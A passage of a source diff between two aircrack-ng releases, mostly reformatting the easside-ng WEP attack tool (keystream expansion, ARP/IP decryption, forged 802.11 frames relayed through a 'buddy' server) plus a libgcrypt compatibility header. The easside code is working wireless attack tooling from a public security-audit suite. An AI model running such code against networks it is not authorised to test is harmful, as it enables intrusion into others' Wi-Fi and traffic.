 
 		*prga = 0;
 		es->es_prga_dlen = prga - es->es_prga_d;
@@ -1795,9 +1840,10 @@
 	decrypt_packet(es, tv);
 }
 
-void find_ip(struct east_state *es, struct timeval *tv)
+static void find_ip(struct east_state * es, struct timeval * tv)
 {
-	if (es->es_rtrip.s_addr && es->es_myip.s_addr) {
+	if (es->es_rtrip.s_addr && es->es_myip.s_addr)
+	{
 		set_tap_ip(es);
 		es->es_astate = AS_FIND_RTR_MAC;
 
@@ -1810,17 +1856,16 @@
 		decrypt_ip(es, tv);
 }
 
-void send_whohas(struct east_state *es, struct timeval *tv)
+static void send_whohas(struct east_state * es, struct timeval * tv)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned char *data = (unsigned char*) (wh+1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
-	struct arphdr *ah;
-	unsigned char *datas;
+	struct arphdr * ah;
+	unsigned char * datas;
 
-	if (too_early(tv, es->es_txto_whohas, &es->es_txlast))
-		return;
+	if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return;
 
 	memset(buf, 0, sizeof(buf));
 
@@ -1841,13 +1886,13 @@
 	data += 8;
 
 	/* arp */
-	ah = (struct arphdr*) data;
+	ah = (struct arphdr *) data;
 	ah->ar_hrd = htons(ARPHRD_ETHER);
 	ah->ar_pro = htons(ETHERTYPE_IP);
 	ah->ar_hln = 6;
 	ah->ar_pln = 4;
 	ah->ar_op = htons(ARPOP_REQUEST);
-	data = (unsigned char*) (ah+1);
+	data = (unsigned char *) (ah + 1);
 
 	memcpy(data, es->es_mymac, 6);
 	data += 6;
@@ -1867,19 +1912,18 @@
 	send_frame(es, wh, data - buf + 4);
 }
 
-void check_inet(struct east_state *es, struct timeval *tv)
+static void check_inet(struct east_state * es, struct timeval * tv)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned char *data = (unsigned char*) (wh+1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
-	struct ip *iph;
-	unsigned char *datas;
-	unsigned short *seq;
-	struct udphdr *uh;
+	struct ip * iph;
+	unsigned char * datas;
+	unsigned short * seq;
+	struct udphdr * uh;
 
-	if (too_early(tv, es->es_txto_checkinet, &es->es_txlast))
-		return;
+	if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return;
 
 	memset(buf, 0, sizeof(buf));
 
@@ -1900,29 +1944,29 @@
 	data += 8;
 
 	/* ip */
-	iph = (struct ip*) data;
+	iph = (struct ip *) data;
 	iph->ip_hl = 5;
 	iph->ip_v = 4;
-	iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+S_HELLO_LEN);
+	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + S_HELLO_LEN);
 	iph->ip_id = htons(666);
 	iph->ip_ttl = 69;
 	iph->ip_p = IPPROTO_UDP;
 	iph->ip_src = es->es_myip;
 	iph->ip_dst = es->es_srvip;
-	iph->ip_sum = in_cksum((unsigned short*)iph, 20);
+	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
 
 	/* udp */
-	uh = (struct udphdr*) (iph+1);
+	uh = (struct udphdr *) (iph + 1);
 	uh->uh_sport = htons(53);
 	uh->uh_dport = htons(es->es_udp_port);
-	uh->uh_ulen = htons(sizeof(*uh)+S_HELLO_LEN);
+	uh->uh_ulen = htons(sizeof(*uh) + S_HELLO_LEN);
 	uh->uh_sum = 0;
 
 	/* data */
-	data = (unsigned char*) (uh+1);
+	data = (unsigned char *) (uh + 1);
 
 	memcpy(data, "sorbo", 5);
-	seq = (unsigned short*) (data+5);
+	seq = (unsigned short *) (data + 5);
 	es->es_rpacket_id += 1;
 	*seq = htons(es->es_rpacket_id);
 	data += S_HELLO_LEN;
@@ -1934,28 +1978,27 @@
 
 	printf("Checking for internet... %d\n", es->es_rpacket_id);
 	send_frame(es, wh, data - buf + 4);
-	if (gettimeofday(&es->es_rtt, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
 }
 
-void redirect_sendip(struct east_state *es, struct rpacket *rp)
+static void redirect_sendip(struct east_state * es, struct rpacket * rp)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned char *data = (unsigned char*) (wh+1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
-	struct ip *iph;
-	unsigned char *datas;
-	struct udphdr *uh;
-	unsigned short *id;
+	struct ip * iph;
+	unsigned char * datas;
+	struct udphdr * uh;
+	unsigned short * id;
 
 	memset(buf, 0, sizeof(buf));
 
 	/* 802.11 header */
 	fill_basic(es, wh);
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP
-		       | IEEE80211_FC1_MORE_FRAG;
+	wh->i_fc[1]
+		|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG;
 	memcpy(wh->i_addr3, es->es_rtrmac, 6);
 
 	/* iv */
@@ -1968,31 +2011,31 @@
 	data += 8;
 
 	/* ip */
-	iph = (struct ip*) data;
+	iph = (struct ip *) data;
 	iph->ip_hl = 5;
 	iph->ip_v = 4;
 	dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2;
-	iph->ip_len = htons(sizeof(*iph)+sizeof(*uh)+dlen);
+	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + dlen);
 	iph->ip_id = htons(666);
 	iph->ip_ttl = 69;
 	iph->ip_p = IPPROTO_UDP;
 	iph->ip_src = es->es_myip;
 	iph->ip_dst = es->es_srvip;
-	iph->ip_sum = in_cksum((unsigned short*)iph, 20);
+	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
 
 	/* udp */
-	uh = (struct udphdr*) (iph+1);
+	uh = (struct udphdr *) (iph + 1);
 	uh->uh_sport = htons(53);
 	uh->uh_dport = htons(es->es_udp_port);
-	uh->uh_ulen = htons(sizeof(*uh)+dlen);
+	uh->uh_ulen = htons(sizeof(*uh) + dlen);
 	uh->uh_sum = 0;
 
 	/* packet id */
-	id = (unsigned short*) (uh+1);
+	id = (unsigned short *) (uh + 1);
 	*id++ = htons(rp->rp_id);
 
 	/* data */
-	data = (unsigned char*) id;
+	data = (unsigned char *) id;
 
 	dlen = data - datas;
 	put_crc32(datas, dlen);
@@ -2006,13 +2049,13 @@
 	send_frame(es, wh, data - buf + 4);
 }
 
-void redirect_sendfrag(struct east_state *es, struct rpacket *rp)
+static void redirect_sendfrag(struct east_state * es, struct rpacket * rp)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned char *data = (unsigned char*) (wh+1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
-	unsigned short *sp = (unsigned short*) wh->i_seq;
+	unsigned short * sp = (unsigned short *) wh->i_seq;
 
 	memset(buf, 0, sizeof(buf));
 
@@ -2025,7 +2068,7 @@
 	*sp = fnseq(1, es->es_txseq);
 
 	dlen = rp->rp_len - sizeof(*wh);
-	memcpy(data, ((struct ieee80211_frame*)rp->rp_packet) + 1, dlen);
+	memcpy(data, ((struct ieee80211_frame *) rp->rp_packet) + 1, dlen);
 
 #if 0
 	printf("Sending frag for %d %d:1 [%d]\n",
@@ -2034,77 +2077,78 @@
 	send_frame(es, wh, sizeof(*wh) + dlen);
 }
 
-
-void redirect(struct east_state *es, struct timeval *tv)
+static void redirect(struct east_state * es, struct timeval * tv)
 {
-	struct rpacket *rp = get_head(es);
+	struct rpacket * rp = get_head(es);
 
-	if (!rp)
-		return;
+	if (!rp) return;
 
-	if (too_early(tv, es->es_txto_redirect, &es->es_txlast))
-		return;
+	if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return;
 
 	es->es_txseq++;
 	printf("Redirecting packet id %d len %d [qlen %d]\n",
-	       rp->rp_id, rp->rp_len, queue_len(es));
+		   rp->rp_id,
+		   rp->rp_len,
+		   queue_len(es));
 
 	/* rtt */
-	if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id)) {
+	if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id))
+	{
 		es->es_rtt_id = rp->rp_id;
-		if (gettimeofday(&es->es_rtt, NULL) == -1)
-			err(1, "gettimeofday()");
+		if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
 	}
 
 	/* fire fragz */
 	redirect_sendip(es, rp);
-	usleep(1*1000);
+	usleep(1 * 1000);
 	redirect_sendfrag(es, rp);
 }
 
-void associated(struct east_state *es, struct timeval *tv)
+static void associated(struct east_state * es, struct timeval * tv)
 {
-	switch (es->es_astate) {
-	case AS_NOPRGA:
-		break;
+	switch (es->es_astate)
+	{
+		case AS_NOPRGA:
+			break;
 
-	case AS_PRGA_EXPAND:
-		expand_prga(es, tv);
-		break;
+		case AS_PRGA_EXPAND:
+			expand_prga(es, tv);
+			break;
 
-	case AS_FIND_IP:
-		find_ip(es, tv);
-		break;
+		case AS_FIND_IP:
+			find_ip(es, tv);
+			break;
 
-	case AS_DECRYPT_ARP:
-		decrypt_arp(es, tv);
-		break;
+		case AS_DECRYPT_ARP:
+			decrypt_arp(es, tv);
+			break;
 
-	case AS_DECRYPT_IP:
-		decrypt_ip(es, tv);
-		break;
+		case AS_DECRYPT_IP:
+			decrypt_ip(es, tv);
+			break;
 
-	case AS_FIND_RTR_MAC:
-		send_whohas(es, tv);
-		break;
+		case AS_FIND_RTR_MAC:
+			send_whohas(es, tv);
+			break;
 
-	case AS_CHECK_INET:
-		check_inet(es, tv);
-		break;
+		case AS_CHECK_INET:
+			check_inet(es, tv);
+			break;
 
-	case AS_REDIRECT:
-		redirect(es, tv);
-		break;
+		case AS_REDIRECT:
+			redirect(es, tv);
+			break;
 
-	default:
-		abort();
-		break;
+		default:
+			abort();
+			break;
 	}
 }
 
-void buddy_inet_check(struct east_state *es)
+static void buddy_inet_check(struct east_state * es)
 {
-	struct {
+	struct
+	{
 		struct in_addr addr;
 		unsigned short id;
 	} __packed data;
@@ -2116,44 +2160,41 @@
 	if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data))
 		err(1, "buddy_inet_check: recv()");
 
-	if (es->es_astate != AS_CHECK_INET)
-		return;
+	if (es->es_astate != AS_CHECK_INET) return;
 
 	memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip));
 	printf("Internet w0rx.  Public IP %s\n", inet_ntoa(es->es_pubip));
 
 	data.id = ntohs(data.id);
-	if (data.id != es->es_rpacket_id) {
-		printf("seq doesn't match %d %d\n",
-		       data.id, es->es_rpacket_id);
+	if (data.id != es->es_rpacket_id)
+	{
+		printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id);
 		return;
 	}
 
-	if (gettimeofday(&now, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
 
 	rtt = msec_diff(&now, &es->es_rtt);
 	es->es_astate = AS_REDIRECT;
 	printf("Rtt %dms\n", rtt);
 
-	if (es->es_iponly)
-		reset(es);
+	if (es->es_iponly) reset(es);
 }
 
-void buddy_packet(struct east_state *es)
+static void buddy_packet(struct east_state * es)
 {
 	unsigned char buf[2048];
-	unsigned short *p = (unsigned short*) buf;
+	unsigned short * p = (unsigned short *) buf;
 	unsigned short id, len;
-	struct rpacket *rp;
-	struct ieee80211_frame *wh;
-	unsigned char *ptr;
+	struct rpacket * rp;
+	struct ieee80211_frame * wh;
+	unsigned char * ptr;
 	int got = 0;
 	int rc;
 
-	if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4) {
-		if (rc == -1)
-			err(1, "buddy_packet: recv() id & len");
+	if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4)
+	{
+		if (rc == -1) err(1, "buddy_packet: recv() id & len");
 		printf("buddy_packet: recv id len got %d/%d\n", rc, 4);
 		exit(1);
 	}
@@ -2163,29 +2204,28 @@
 	len = ntohs(*p);
 	p++;
 
-	assert(len+6 <= (int) sizeof(buf));
+	assert(len + 6 <= (int) sizeof(buf));
 
 	ptr = &buf[6];
 	got = 0;
-	while (got != len) {
+	while (got != len)
+	{
 		int rem = len - got;
 		rc = recv(es->es_buddys, ptr, rem, 0);
-		if (rc == -1)
-			err(1, "buddy_packet: recv() packet");
+		if (rc == -1) err(1, "buddy_packet: recv() packet");
 		got += rc;
 		ptr += rc;
 	}
 
-	if (es->es_astate != AS_REDIRECT)
-		return;
+	if (es->es_astate != AS_REDIRECT) return;
 
 	printf_time("Got packet %d", id);
-	if (es->es_rtt_id == id) {
+	if (es->es_rtt_id == id)
+	{
 		struct timeval now;
 		int rtt;
 
-		if (gettimeofday(&now, NULL) == -1)
-			err(1, "gettimeofday()");
+		if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
 
 		rtt = msec_diff(&now, &es->es_rtt);
 		es->es_rtt_id = 0;
@@ -2193,81 +2233,78 @@
 
 		if (es->es_srtt == 0)
 			es->es_srtt = rtt;
-		else {
+		else
+		{
 			es->es_srtt += rtt;
 			es->es_srtt >>= 1;
 		}
-		if (es->es_srtt == 0)
-			es->es_srtt = 1;
+		if (es->es_srtt == 0) es->es_srtt = 1;
 
 		es->es_txto_redirect = es->es_srtt << 1;
-		if (es->es_txto_redirect < S_MIN_RTO)
-			es->es_txto_redirect = S_MIN_RTO;
+		if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO;
 
-		printf(" srtt %dms rto %dms",
-		       es->es_srtt, es->es_txto_redirect);
+		printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect);
 	}
 	rp = get_packet(es, id);
-	if (!rp) {
+	if (!rp)
+	{
 		printf(" [not in queue]\n");
 		return;
 	}
 
-	wh = (struct ieee80211_frame*) rp->rp_packet;
+	wh = (struct ieee80211_frame *) rp->rp_packet;
 	memcpy(buf, get_da(wh), 6);
 	memcpy(&buf[6], get_sa(wh), 6);
 
 	len += 6;
-	if (ti_write(es->es_ti, buf, len) != len)
-		err(1, "ti_write()");
+	if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()");
 
 	remove_packet(es, id);
 	printf(" qlen %d\n", queue_len(es));
 	clear_timeout(es);
 }
 
-void read_buddy(struct east_state *es)
+static void read_buddy(struct east_state * es)
 {
 	unsigned short cmd;
 	int rc;
 
 	rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0);
-	if (rc != sizeof(cmd))
-		err(1, "read_buddy: can't get cmd\n");
+	if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n");
 
 	cmd = ntohs(cmd);
 
-	switch (cmd) {
-	case S_CMD_INET_CHECK:
-		buddy_inet_check(es);
-		break;
+	switch (cmd)
+	{
+		case S_CMD_INET_CHECK:
+			buddy_inet_check(es);
+			break;
 
-	case S_CMD_PACKET:
-		buddy_packet(es);
-		break;
+		case S_CMD_PACKET:
+			buddy_packet(es);
+			break;
 
-	default:
-		abort();
-		break;
+		default:
+			abort();
+			break;
 	}
 }
 
-void read_tap(struct east_state *es)
+static void read_tap(struct east_state * es)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned char *data = (unsigned char*) (wh+1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
-	unsigned char *datas;
+	unsigned char * datas;
 	unsigned char dst[6];
 	struct timeval old;
 
 	memset(buf, 0, sizeof(buf));
 
-	dlen = ti_read(es->es_ti, data-2, S_MTU+14);
-	if (dlen == -1)
-		err(1, "ti_read()");
-	memcpy(dst, data-2, 6);
+	dlen = ti_read(es->es_ti, data - 2, S_MTU + 14);
+	if (dlen == -1) err(1, "ti_read()");
+	memcpy(dst, data - 2, 6);
 
 	/* 802.11 header */
 	es->es_txseq++;
@@ -2297,196 +2334,201 @@
 	es->es_txlast = old;
 }
 
-void own(struct east_state *es)
+static void own(struct east_state * es)
 {
 	fd_set rfds;
 	struct timeval tv, *tvp;
 	int maxfd;
 
-	if (es->es_prgalen)
-		es->es_astate = AS_PRGA_EXPAND;
-	if (es->es_prgalen == sizeof(es->es_prga))
-		es->es_astate = AS_FIND_IP;
+	if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND;
+	if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
 
-	for (;;) {
+	for (;;)
+	{
 		FD_ZERO(&rfds);
 		maxfd = wi_fd(es->es_wi);
 		FD_SET(maxfd, &rfds);
 		memset(&tv, 0, sizeof(tv));
 		tvp = NULL;
 
-		if (es->es_buddys) {
+		if (es->es_buddys)
+		{
 			FD_SET(es->es_buddys, &rfds);
-			if (es->es_buddys > maxfd)
-				maxfd = es->es_buddys;
+			if (es->es_buddys > maxfd) maxfd = es->es_buddys;
 		}
 
-		if (es->es_astate > AS_PRGA_EXPAND &&
-		    es->es_state == S_ASSOCIATED) {
-		    	int tapfd = ti_fd(es->es_ti);
+		if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED)
+		{
+			int tapfd = ti_fd(es->es_ti);
 
 			FD_SET(tapfd, &rfds);
-			if (tapfd > maxfd)
-				maxfd = tapfd;
+			if (tapfd > maxfd) maxfd = tapfd;
 		}
 
-		switch (es->es_state) {
-		case S_SEARCHING:
-			if (!es->es_chanlock)
-				chan_hop(es, &tv);
-			break;
+		switch (es->es_state)
+		{
+			case S_SEARCHING:
+				if (!es->es_chanlock) chan_hop(es, &tv);
+				break;
 
-		case S_SENDAUTH:
-			send_auth(es, &tv);
-			break;
+			case S_SENDAUTH:
+				send_auth(es, &tv);
+				break;
 
-		case S_SENDASSOC:
-			send_assoc(es, &tv);
-			break;
+			case S_SENDASSOC:
+				send_assoc(es, &tv);
+				break;
 
-		case S_ASSOCIATED:
-			associated(es, &tv);
-			break;
+			case S_ASSOCIATED:
+				associated(es, &tv);
+				break;
 
-		default:
-			abort();
-			break;
+			default:
+				abort();
+				break;
 		}
 
-		if (tv.tv_sec || tv.tv_usec)
-			tvp = &tv;
+		if (tv.tv_sec || tv.tv_usec) tvp = &tv;
 
-		if (select(maxfd+1, &rfds, NULL, NULL, tvp) == -1)
-			err(1, "select()");
+		if (select(maxfd + 1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()");
 
-		if (FD_ISSET(wi_fd(es->es_wi), &rfds)) {
+		if (FD_ISSET(wi_fd(es->es_wi), &rfds))
+		{
 			read_wifi(es);
 		}
 
-		if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds))
-			read_buddy(es);
+		if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es);
 
-		if (FD_ISSET(ti_fd(es->es_ti), &rfds))
-			read_tap(es);
+		if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es);
 	}
 }
 
-void usage(char *p)
+static void usage(char * p)
 {
-	if (p) {}
-    char *version_info = getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	if (p)
+	{
+	}
+	char * version_info
+		= getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
 	printf("\n"
-		"  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
-		"  http://www.aircrack-ng.org\n"
-		"\n"
-		"  Usage: easside-ng <options>\n"
-		"\n"
-		"  Options:\n"
-		"\n"
-		"       -h                : This help screen\n"
-		"       -v   <victim mac> : Victim BSSID\n"
-		"       -m      <src mac> : Source MAC address\n"
-		"       -i           <ip> : Source IP address\n"
-		"       -r    <router ip> : Router IP address\n"
-		"       -s     <buddy ip> : Buddy-ng IP address (mandatory)\n"
-		"       -f        <iface> : Interface to use (mandatory)\n"
-		"       -c      <channel> : Lock card to this channel\n"
-		"       -n                : Determine Internet IP only\n"
-		"\n",
-		version_info);
+		   "  %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: easside-ng <options>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -h                : This help screen\n"
+		   "       -v   <victim mac> : Victim BSSID\n"
+		   "       -m      <src mac> : Source MAC address\n"
+		   "       -i           <ip> : Source IP address\n"
+		   "       -r    <router ip> : Router IP address\n"
+		   "       -s     <buddy ip> : Buddy-ng IP address (mandatory)\n"
+		   "       -f        <iface> : Interface to use (mandatory)\n"
+		   "       -c      <channel> : Lock card to this channel\n"
+		   "       -n                : Determine Internet IP only\n"
+		   "\n",
+		   version_info);
 	free(version_info);
 }
 
-void load_prga(struct east_state *es)
+static void load_prga(struct east_state * es)
 {
 	int fd;
 	int rc;
 
 	fd = open(S_PRGA_LOG, O_RDONLY);
-	if (fd == -1)
-		return;
+	if (fd == -1) return;
 
 	rc = read(fd, es->es_iv, 3);
-	if (rc != 3) {
+	if (rc != 3)
+	{
 		printf("Can't read IV from %s\n", S_PRGA_LOG);
 		exit(1);
 	}
 
 	rc = read(fd, es->es_prga, sizeof(es->es_prga));
-	if (rc == -1)
-		err(1, "load_prga: read()");
+	if (rc == -1) err(1, "load_prga: read()");
 	es->es_prgalen = rc;
 	close(fd);
 
 	printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG);
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
 	int ch;
-	struct east_state *es = &_es;
+	struct east_state * es = &_es;
 
 	init_defaults(es);
 
-	while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1) {
-		switch (ch) {
-		case 'c':
-			es->es_chanlock = atoi(optarg);
-			break;
-
-		case 'f':
-			strncpy(es->es_ifname, optarg, sizeof(es->es_ifname)-1);
-			es->es_ifname[sizeof(es->es_ifname)-1] = 0;
-			break;
-
-		case 'v':
-			if (str2mac(es->es_apmac, optarg) == -1) {
-				printf("Can't parse AP mac\n");
-				exit(1);
-			}
-			break;
-
-		case 'm':
-			if (str2mac(es->es_mymac, optarg) == -1) {
-				printf("Can't parse my mac\n");
-				exit(1);
-			}
-			es->es_setmac = 1;
-			break;
-
-		case 'i':
-			if (!inet_aton(optarg, &es->es_myip)) {
-				printf("Can't parse my ip\n");
-				exit(1);
-			}
-			break;
-
-		case 'r':
-			if (!inet_aton(optarg, &es->es_rtrip)) {
-				printf("Can't parse rtr ip\n");
-				exit(1);
-			}
-			break;
-
-		case 's':
-			if (!inet_aton(optarg, &es->es_srvip)) {
-				printf("Can't parse srv ip\n");
-				exit(1);
-			}
-			break;
-
-		case 'n':
-			es->es_iponly = 1;
-			break;
-
-		case 'h':
-		default:
-			usage(argv[0]);
-			exit(0);
+	while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1)
+	{
+		switch (ch)
+		{
+			case 'c':
+				es->es_chanlock = atoi(optarg);
+				break;
+
+			case 'f':
+				strncpy(es->es_ifname, optarg, sizeof(es->es_ifname) - 1);
+				es->es_ifname[sizeof(es->es_ifname) - 1] = 0;
+				break;
+
+			case 'v':
+				if (str2mac(es->es_apmac, optarg) == -1)
+				{
+					printf("Can't parse AP mac\n");
+					exit(1);
+				}
+				break;
+
+			case 'm':
+				if (str2mac(es->es_mymac, optarg) == -1)
+				{
+					printf("Can't parse my mac\n");
+					exit(1);
+				}
+				es->es_setmac = 1;
+				break;
+
+			case 'i':
+				if (!inet_aton(optarg, &es->es_myip))
+				{
+					printf("Can't parse my ip\n");
+					exit(1);
+				}
+				break;
+
+			case 'r':
+				if (!inet_aton(optarg, &es->es_rtrip))
+				{
+					printf("Can't parse rtr ip\n");
+					exit(1);
+				}
+				break;
+
+			case 's':
+				if (!inet_aton(optarg, &es->es_srvip))
+				{
+					printf("Can't parse srv ip\n");
+					exit(1);
+				}
+				break;
+
+			case 'n':
+				es->es_iponly = 1;
+				break;
+
+			case 'h':
+			default:
+				usage(argv[0]);
+				exit(0);
 		}
 	}
 
-	if (es->es_srvip.s_addr == 0) {
+	if (es->es_srvip.s_addr == 0)
+	{
 		printf("Need at least server IP\n");
 		usage(argv[0]);
 		exit(0);
@@ -2496,13 +2538,10 @@
 	open_wifi(es);
 	open_tap(es);
 	set_mac(es);
-	if (es->es_chanlock)
-		set_chan(es);
+	if (es->es_chanlock) set_chan(es);
 
-	if (signal(SIGINT, sighand) == SIG_ERR)
-		err(1, "signal(SIGINT)");
-	if (signal(SIGTERM, sighand) == SIG_ERR)
-		err(1, "signal(SIGTERM)");
+	if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)");
+	if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)");
 
 	printf_time("Ownin...\n");
 	own(es);

aircrack-ng-1.2-rc4.tar.gz/src/easside.h -> aircrack-ng-1.4.tar.gz/src/easside.h Changed

aircrack-ng-1.2-rc4.tar.gz/src/gcrypt-openssl-wrapper.h -> aircrack-ng-1.4.tar.gz/src/gcrypt-openssl-wrapper.h Changed

@@ -25,62 +25,134 @@
  */
 #include <gcrypt.h>
 // RC4_*
-#define RC4_KEY                                         gcry_cipher_hd_t
-#define RC4_set_key(h, l, k)                            do { \
-                                                            gcry_cipher_open(h, GCRY_CIPHER_ARCFOUR, GCRY_CIPHER_MODE_STREAM, 0); \
-                                                            gcry_cipher_setkey(*h, k, l); \
-                                                        } while (0)
-                                                        // we need to release the handle to avoid memory leaks.
-                                                        // And in the actual code there are not repeat calls to RC4() without calling
-                                                        // RC4_set_key() first, so we can encapsulate the call to gcry_cipher_close() inside RC4()
-                                                        // This should be changed if you call RC4() without calling RC4_set_key before
-#define RC4(h, l, s, d)                                 do { \
-                                                            gcry_cipher_encrypt(*h, d, l, s, l) ; \
-                                                            gcry_cipher_close(*h); \
-                                                        } while(0)
+#define RC4_KEY gcry_cipher_hd_t
+#define RC4_set_key(h, l, k)                                                   \
+	do                                                                         \
+	{                                                                          \
+		gcry_cipher_open(h, GCRY_CIPHER_ARCFOUR, GCRY_CIPHER_MODE_STREAM, 0);  \
+		gcry_cipher_setkey(*h, k, l);                                          \
+	} while (0)
+// we need to release the handle to avoid memory leaks.
+// And in the actual code there are not repeat calls to RC4() without calling
+// RC4_set_key() first, so we can encapsulate the call to gcry_cipher_close()
+// inside RC4()
+// This should be changed if you call RC4() without calling RC4_set_key before
+#define RC4(h, l, s, d)                                                        \
+	do                                                                         \
+	{                                                                          \
+		gcry_cipher_encrypt(*h, d, l, s, l);                                   \
+		gcry_cipher_close(*h);                                                 \
+	} while (0)
 // SHA_* (We use the sha1-git implementation because is much faster)
-#define SHA_CTX                                         blk_SHA_CTX
-#define SHA1_Init(ctx)                                  blk_SHA1_Init(ctx)
-#define SHA1_Update(ctx,buffer,len)                     blk_SHA1_Update(ctx,buffer,len)
-#define SHA1_Final(digest,ctx)                          blk_SHA1_Final(digest,ctx)
+#define SHA_CTX blk_SHA_CTX
+#define SHA1_Init(ctx) blk_SHA1_Init(ctx)
+#define SHA1_Update(ctx, buffer, len) blk_SHA1_Update(ctx, buffer, len)
+#define SHA1_Final(digest, ctx) blk_SHA1_Final(digest, ctx)
 // EVP_*
-#define EVP_md5()                                       GCRY_MD_MD5
-#define EVP_sha1()                                      GCRY_MD_SHA1
+#define EVP_md5() GCRY_MD_MD5
+#define EVP_sha1() GCRY_MD_SHA1
 // AES_*
-#define AES_KEY                                         gcry_cipher_hd_t
-#define AES_encrypt(text, enc_out, ctx)                 gcry_cipher_encrypt(*ctx, enc_out, 16, text, 16)
-#define AES_set_encrypt_key(key, len, ctx)              do  { \
-                                                            gcry_cipher_open(ctx, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0); \
-                                                            gcry_cipher_setkey(*ctx, key, len/8); \
-                                                        } while (0)
+#define AES_KEY gcry_cipher_hd_t
+#define AES_encrypt(text, enc_out, ctx)                                        \
+	gcry_cipher_encrypt(*ctx, enc_out, 16, text, 16)
+#define AES_set_encrypt_key(key, len, ctx)                                     \
+	do                                                                         \
+	{                                                                          \
+		gcry_cipher_open(ctx, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0);       \
+		gcry_cipher_setkey(*ctx, key, len / 8);                                \
+	} while (0)
+// CMAC_*
+#define EVP_aes_128_cbc() GCRY_MAC_CMAC_AES
+#define CMAC_CTX gcry_mac_hd_t
+#define CMAC_CTX_new() calloc(1, sizeof(gcry_mac_hd_t))
+#define CMAC_CTX_free(ctx)                                                     \
+	do                                                                         \
+	{                                                                          \
+		gcry_mac_close(*ctx);                                                  \
+		free(ctx);                                                             \
+	} while (0)
+#define CMAC_Init(ctx, key, len, mac, flag)                                    \
+	do                                                                         \
+	{                                                                          \
+		if ((len == 0) || (key == NULL) || (mac == 0))                         \
+		{                                                                      \
+			gcry_mac_reset(*ctx);                                              \
+		}                                                                      \
+		else                                                                   \
+		{                                                                      \
+			gcry_mac_open(ctx, mac, 0, NULL);                                  \
+			gcry_mac_setkey(*ctx, key, len);                                   \
+		}                                                                      \
+	} while (0)
+#define CMAC_Update(ctx, data, len) gcry_mac_write(*ctx, data, len)
+#define CMAC_Final(ctx, mac, len)                                              \
+	do                                                                         \
+	{                                                                          \
+		gcry_mac_read(*ctx, mac, len);                                         \
+	} while (0)
 // HMAC_*
